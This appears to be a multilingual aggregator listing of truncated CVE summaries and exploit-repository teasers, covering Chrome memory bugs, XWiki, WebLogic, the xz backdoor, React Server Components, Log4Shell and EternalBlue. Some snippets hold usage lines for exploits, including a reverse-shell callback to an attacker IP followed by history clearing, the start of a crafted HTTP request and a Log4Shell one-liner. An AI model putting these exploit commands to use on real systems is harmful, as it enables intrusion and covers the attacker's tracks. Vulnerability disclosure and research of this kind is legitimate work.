CVE-2026-79130

CVE-2026-79130 is a buffer overflow in the ANGLE component of Google Chrome , affecting versions prior to 152.0.7977.65 . A remote attacker could exploit this vulnerability by serving a crafted HTML page , enabling execution of arbitrary code outside the sandbox . The Chromium security team rates...

CVE-2026-79202

Use after free in Chromecast in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-79257

Use after free in Views in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2026-79194

CVE-2026-79194 is a use-after-free vulnerability in Chromoting in Google Chrome for Windows , affecting versions prior to 152.0.7977.65 . A remote attacker can exploit it via crafted network traffic to execute arbitrary code outside the sandbox . Chromium classifies the severity as High . The fix...

CVE-2026-79290

CVE-2026-79290 is a use-after-free vulnerability in the Aura component of Google Chrome prior to 152.0.7977.65 . A remote attacker can exploit it via a crafted HTML page to execute arbitrary code outside the sandbox , rated Critical by Chromium. The fix is available in Chrome 152.0.7977.65 and la...

CVE-2026-79290

Use after free in Aura in Google Chrome prior to 152.0.7977.65 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: Critical...

cve-2025-24893

CVE-2025-24893 XWiki RCE 익스플로잇 CVE-2025-24893 를 익스플로잇하는 간단한 Python3 스크립트입니다. 이는 XWiki 플랫폼의 원격 코드 실행 취약점으로, Groovy 기반 비동기 매크로와 설정 가능한 리버스 셸 페이로드를 사용합니다. ⚠️ 경고: 이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다. 소유하지 않거나 명시적 허가 없이 시스템에 대해 무단 사용하는 것은 불법적이고 비윤리적입니다. 목차 기능 요구 사항 설치 사용법 감지 및 프로토콜 대체 리버스 셸 페이로드 라이선스 면책 조항...

xzbot

xzbot xz バックドア CVE-2024-3094 の調査。 以下を含みます: ハニーポット: エクスプロイト試行を検出するための偽の脆弱サーバー ed448 パッチ: liblzma.so を独自の ED448 公開鍵を使用するようにパッチする バックドアの形式: バックドアペイロードの形式 バックドアのデモ: ED448 秘密鍵の知識を前提として RCE をトリガーする CLI honeypot openssh に、バックドア形式に一致する公開鍵 N を使用した接続試行をすべてログに記録する シンプルなパッチについては、openssh.patch を参照してください。...

CNTA-2019-0014xCVE-2019-2725

CNTA-2019-0014-CVE-2019-2725 免責事項:本ツールはセキュリティテスト学習目的のみに使用し、不正使用は禁止します root@kitploit: Usage:python3 weblogicrce.py url command is echo? win or linux 詳細な分析はこちら: https://icematcha.win/?p=1174...

CVE-2025-55182

CVE-2025-55182 — RCE-эксплойт для React Server Components Python CLI-эксплойт для CVE-2025-55182, критической уязвимости RCE в React Server Components через react-server-dom-webpack. Основано на: ejpir/CVE-2025-55182-poc Быстрый старт Тестирование в Docker root@kitploit: Unpack src.zip zip -r...

CVE-2020-0618

CVE-2020-0618 RCE в SQL Server Reporting Services CVE-2020-0618 Проверка уязвимости POC Для эксплуатации приложения можно отправить на сервер следующий HTTP-запрос: root@kitploit: POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded...

CVE-2025-64424-Coolify-

Coolify CVE-2025-64424 RCE 취약점 실습 환경 수업 계획: Red74-Coolio-CVE-2025-64424 면책 조항: 이 저장소는 의도적으로 취약하게 만든 Coolify 버전을 포함하며, 교육 목적, CTF 환경 및 사이버 보안 훈련을 위해 제공됩니다. 프로덕션 환경에 배포하거나 공용 인터넷에 노출하지 마십시오. 이 실습 환경은 Coolify 버전 4.0.0-beta.420.7 이전 버전의 Git 저장소 소스 필드에서 발견된 명령 삽입/원격 코드 실행RCE 취약점CVE-2025-64424 /...

FULL-ANALYSIS---CVE-2026-45829-ChromaDB-

CVE-2026-45829 - ChromaDB Pre-Auth RCE CVSS 10.0 ⚠️ ПРЕДУПРЕЖДЕНИЕ Этот репозиторий содержит РАБОЧУЮ PoC для CVE-2026-45829. ТОЛЬКО для авторизованного тестирования в контролируемых средах. Описание Критическая уязвимость в ChromaDB версии 1.0.0 - 1.5.8, позволяющая неаутентифицированному...

Blackash-CVE-2017-0144

🌐 CVE-2017-0144 — EternalBlue: Microsoft Windows SMBv1 リモートコード実行の脆弱性 「ひとつのエクスプロイト。数十のマルウェアファミリー。数十億ドルの損害。」 🔍 一言でまとめると CVE-2017-0144 は、Microsoft Windows の SMBv1 サーバー実装における深刻なリモートコード実行の脆弱性である。EternalBlue として知られるエクスプロイトはこの穴を悪用し、影響の大きい攻撃（特に WannaCry）に使用された。 🔥 EternalBlue を使用したマルウェア トップ10（詳細）...

CVE-2022-32548-RCE-POC

CVE-2022-32548-RCE-POC DrayTek の認証なしリモートコード実行の脆弱性（CVE-2022-32548）は、/cgi-bin/wlogin.cgi のユーザー名フィールドに存在します。 技術的詳細 影響を受ける DrayTek デバイスの Web 管理インターフェースは、/cgi-bin/wlogin.cgi のログインページにおけるバッファオーバーフローの影響を受けます。攻撃者は、ログインページの aa フィールドと ab フィールドに、細工されたユーザー名やパスワードを base64 エンコードされた文字列として提供する可能性があります。 詳細: Pytho...

CVE-2025-55182-Dockerized

CVE-2025-55182 - Dockerized Proof of Concept Контейнеризованная PoC Этот репозиторий содержит контейнеризованную proof of concept для CVE-2025-55182, критической уязвимости удаленного выполнения кода в React Server Components RSC, затрагивающей приложения Next.js, использующие Server Actions...

sophucked

sophucked CVE-2020-25223 RCE PoC, 역방향 셸 획득. 사전 인증 없음. 일부 위협 요소를 통합하기 위해 급히 구현했습니다. 예제 사용법: root@kitploit: python sophucked.py https://x.x.x.x:4443 x.x.x.x 80 + 포트 80에서 핸들러 시작 + 콜백을 x.x.x.x:80으로 전송 + x.x.x.x에서 연결됨 + 셸 획득! bash: 이 셸에서는 작업 제어 불가 utm:/var/confd unset HISTFILE unset HISTFILE...

Dolibarr-17.0.0-Exploit-CVE-2023-30253

Readme.md CVE-2023-30253 CVE-2023-30253 は、Dolibarr ソフトウェアにおけるセキュリティ上の欠陥であり、認証されたユーザーが注入データ内で大文字操作テクニックを利用してリモートコード実行を可能にするものです。 影響 この脆弱性は、悪意のある行為者による不正なリモートコード実行につながる可能性があり、影響を受けるシステムのセキュリティと整合性に深刻な脅威をもたらします。 この脆弱性は Dolibarr 17.0.1 で修正されました。 参照...

Log4Shell-Payloads

🚨 Colección de Payloads Log4Shell Una lista curada de payloads de explotación Log4Shell / Log4J dirigidos a: CVE-2021-45046 CVE-2022-42889 🔗 Por @nav1n0x 🔥 Payloads de una línea ✅ Oneliner 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...

CVE-2024-0195-SpiderFlow

CVE-2024-0195 Небезопасный контроль генерации кода 'Code Injection' Критический 2024 Краткое описание CVE-2024-0195 — это критическая уязвимость внедрения кода в веб-приложении spider-flow версии 0.4.3, конкретно в функции FunctionService.saveFunction файла FunctionController.java. Злоумышленник...